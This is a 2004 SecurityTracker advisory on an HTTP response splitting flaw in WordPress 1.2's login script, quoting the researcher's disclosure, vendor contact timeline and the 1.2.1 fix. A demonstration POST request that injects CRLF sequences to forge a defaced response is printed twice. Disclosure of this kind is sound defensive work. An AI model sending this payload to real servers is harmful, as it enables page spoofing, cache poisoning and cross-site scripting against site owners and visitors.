WordPress Input Validation Holes Permit Response Splitting Attacks
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SecurityTracker Alert ID: 1011592 |
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SecurityTracker URL: http://securitytracker.com/id/1011592
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CVE Reference:
GENERIC-MAP-NOMATCH
(Links to External Site)
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Date: Oct 11 2004
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Impact:
Modification of system information, Modification of user information
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Fix Available: Yes Vendor Confirmed: Yes Exploit Included: Yes
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Version(s): 1.2
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Description:
An input validation vulnerability was reported in WordPress. A remote user can conduct response splitting attacks.
Chaotic Evil reported that the 'wp-login.php' script does not properly validate user-supplied input. A remote user can submit a specially crafted POST request to cause the target server to return a split response. A remote user can exploit this to spoof content on the target server, attempt to poison any intermediate web caches, or conduct cross-site scripting attacks.
A demonstration exploit HTTP POST request is provided:
POST /wp-login.php HTTP/1.0
Host: HOSTNAME
Content-Type: application/x-www-form-urlencoded
Content-length: 226
action=login&mode=profile&log=USER&pwd=PASS&text=
%0d%0aConnection:%20Keep-Alive%0d%0aContent-Length:%20
0%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Length:
%2021%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html>
*defaced*</html>
The vendor was notified on September 24, 2004.
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Impact:
A remote user can create a URL that, when loaded by the target user, will cause arbitrary content to be displayed.
A remote user may be able to poison any intermediate web caches with arbitrary content.
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Solution:
The vendor has issued a fixed version (1.2.1), available at:
http://wordpress.org/development/2004/10/wp-121/
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Vendor URL: www.wordpress.org/ (Links to External Site)
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Cause:
Input validation error
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Underlying OS:
Linux (Any), UNIX (Any), Windows (Any)
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Message History:
This archive entry has one or more follow-up message(s) listed below.
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Source Message Contents
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Date: Wed, 6 Oct 2004 18:41:02 -0500
Subject: HTTP Response Splitting Vulnerability in Wordpress 1.2
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SECURITY ADVISORY: HTTP Response Splitting in WordPress 1.2
AUTHOR: Chaotic Evil (chaoticevil $$$at$$$ spyring $$$dot$$$ com)
DATE: October 6th, 2004
PRODUCT: WordPress 1.2 (wordpress.org)
FROM THE VENDOR WEBSITE:
WordPress is a state-of-the-art semantic personal
publishing platform with a focus on aesthetics, web
standards, and usability. What a mouthful. WordPress is
both free and priceless at the same time.
WordPress was born out of a desire for an elegant, well-
architectured personal publishing system built on PHP
and MySQL and licensed under the GPL.
SECURITY VULNERABILITY
HTTP Response Splitting [1].
EXPLOIT:
HOSTNAME, USER and PASS should be replaced with the
relevant values (and Content-Length needs to be adjusted
accordingly). Replace curly braces with less-than and
greater-than signs. Code is line wrapped.
POST /wp-login.php HTTP/1.0
Host: HOSTNAME
Content-Type: application/x-www-form-urlencoded
Content-length: 226
action=login&mode=profile&log=USER&pwd=PASS&text=
%0d%0aConnection:%20Keep-Alive%0d%0aContent-Length:%20
0%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Length:
%2021%0d%0aContent-Type:%20text/html%0d%0a%0d%0a{html}
*defaced*{/html}
VENDOR STATUS: Vendor contacted September 24th. Vendor
worked closely with the author and promptly produced a
fix (see below).
FIX: Use WordPress 1.2.1. See vendor site:
http://wordpress.org/development/2004/10/wp-121/
REFERENCES:
[1] "'Divide and Conquer' - HTTP Response SPlitting, Web
Cache Poisoning attacks, and Related Topics" by Amit Klein,
dated March 4th, 2004
http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pd
f
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